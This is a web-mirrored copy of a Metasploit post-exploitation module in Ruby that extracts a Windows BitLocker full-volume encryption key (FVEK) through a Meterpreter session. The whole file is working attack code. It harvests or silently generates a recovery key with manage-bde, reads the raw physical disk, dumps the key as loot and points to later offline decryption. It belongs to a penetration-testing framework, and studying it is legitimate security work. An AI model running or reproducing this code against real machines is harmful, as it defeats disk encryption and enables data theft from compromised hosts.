CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/bitlocker_fvek.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Priv
8
include Msf::Post::Windows::Error
9
include Msf::Post::Windows::FileInfo
10
include Msf::Post::File
11
12
ERROR = Msf::Post::Windows::Error
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Bitlocker Master Key (FVEK) Extraction',
19
'Description' => %q{
20
This module enumerates ways to decrypt Bitlocker volume and if a recovery key is stored locally
21
or can be generated, dump the Bitlocker master key (FVEK)
22
},
23
'License' => 'MSF_LICENSE',
24
'Platform' => ['win'],
25
'SessionTypes' => ['meterpreter'],
26
'Author' => ['Danil Bazin <danil.bazin[at]hsc.fr>'], # @danilbaz
27
'References' => [
28
['URL', 'https://github.com/libyal/libbde/blob/master/documentation/BitLocker Drive Encryption (BDE) format.asciidoc'],
29
['URL', 'http://www.hsc.fr/ressources/outils/dislocker/']
30
],
31
'Compat' => {
32
'Meterpreter' => {
33
'Commands' => %w[
34
stdapi_railgun_api
35
stdapi_sys_config_getenv
36
]
37
}
38
}
39
)
40
)
41
42
register_options(
43
[
44
OptString.new('DRIVE_LETTER', [true, 'Dump informations from the DRIVE_LETTER encrypted with Bitlocker', nil]),
45
OptString.new('RECOVERY_KEY', [false, 'Use the recovery key provided to decrypt the Bitlocker master key (FVEK)', nil])
46
]
47
)
48
end
49
50
def run
51
file_path = session.sys.config.getenv('windir') << '\\system32\\win32k.sys'
52
major, minor, _build, _revision, _branch = file_version(file_path)
53
winver = (major.to_s + '.' + minor.to_s).to_f
54
55
fail_with(Failure::NoTarget, 'Module not valid for OS older that Windows 7') if winver <= 6
56
fail_with(Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin?
57
58
drive_letter = datastore['DRIVE_LETTER']
59
system_root = expand_path('%SYSTEMROOT%')
60
61
cmd_out = cmd_exec('wmic', "logicaldisk #{drive_letter}: ASSOC:list /assocclass:Win32_LogicalDiskToPartition")
62
63
@starting_offset = cmd_out.match(/StartingOffset=(\d+)/)[1].to_i
64
65
drive_number = cmd_out.match(/DiskIndex=(\d+)/)[1]
66
67
r = client.railgun.kernel32.CreateFileW("\\\\.\\PhysicalDrive#{drive_number}",
68
'GENERIC_READ',
69
'FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE',
70
nil,
71
'OPEN_EXISTING',
72
'FILE_FLAG_WRITE_THROUGH',
73
0)
74
75
if r['GetLastError'] != ERROR::SUCCESS
76
fail_with(Failure::Unknown,
77
"Error opening #{drive_letter}. Windows Error Code: #{r['GetLastError']}
78
- #{r['ErrorMessage']}")
79
end
80
81
@handle = r['return']
82
print_good("Successfully opened Disk #{drive_number}")
83
seek(0)
84
85
if !datastore['RECOVERY_KEY'].nil?
86
print_status('Using provided recovery key')
87
recovery_key = datastore['RECOVERY_KEY']
88
else
89
print_status('Trying to gather a recovery key')
90
91
manage_bde = "#{system_root}\\system32\\manage-bde.exe"
92
unless exist?(manage_bde)
93
manage_bde = "#{system_root}\\sysnative\\manage-bde.exe"
94
unless exist?(manage_bde)
95
fail_with(Failure::Unknown, 'manage-bde.exe not found')
96
end
97
end
98
99
cmd_out = cmd_exec(manage_bde, "-protectors -get #{drive_letter}:")
100
101
recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/)
102
103
if !recovery_key.nil?
104
recovery_key = recovery_key[1]
105
print_good("Recovery key found : #{recovery_key}")
106
else
107
print_status('No recovery key found, trying to generate a new recovery key')
108
cmd_out = cmd_exec(manage_bde,
109
"-protectors -add #{drive_letter}: -RecoveryPassword")
110
recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/)
111
id_key_tmp = cmd_out.match(/(\{[^}]+\})/)
112
if !recovery_key.nil?
113
recovery_key = recovery_key[1]
114
id_key_tmp = id_key_tmp[1]
115
print_good("Recovery key generated successfully : #{recovery_key}")
116
else
117
print_error('Recovery Key generation failed')
118
print_status('No recovery key can be used')
119
return
120
end
121
end
122
end
123
124
begin
125
@bytes_read = 0
126
fs = Rex::Parser::BITLOCKER.new(self)
127
print_status('The recovery key derivation usually take 20 seconds...')
128
fvek = fs.fvek_from_recovery_password_dislocker(recovery_key)
129
if !fvek.blank?
130
stored_path = store_loot('windows.file', 'application/octet-stream',
131
session, fvek)
132
print_good("Successfuly extract FVEK in #{stored_path}")
133
print_good('This hard drive could later be decrypted using : dislocker -k <key_file> ...')
134
else
135
print_error('Failed to generate FVEK, wrong recovery key?')
136
end
137
ensure
138
unless id_key_tmp.nil?
139
print_status('Deleting temporary recovery key')
140
cmd_exec(manage_bde,
141
"-protectors -delete #{drive_letter}: -id #{id_key_tmp}")
142
end
143
client.railgun.kernel32.CloseHandle(@handle)
144
end
145
print_status('Post Successful')
146
end
147
148
def read(size)
149
client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer']
150
end
151
152
def seek(offset)
153
offset += @starting_offset
154
high_offset = offset >> 32
155
low_offset = offset & (2**33 - 1)
156
client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0)
157
end
158
end
159
160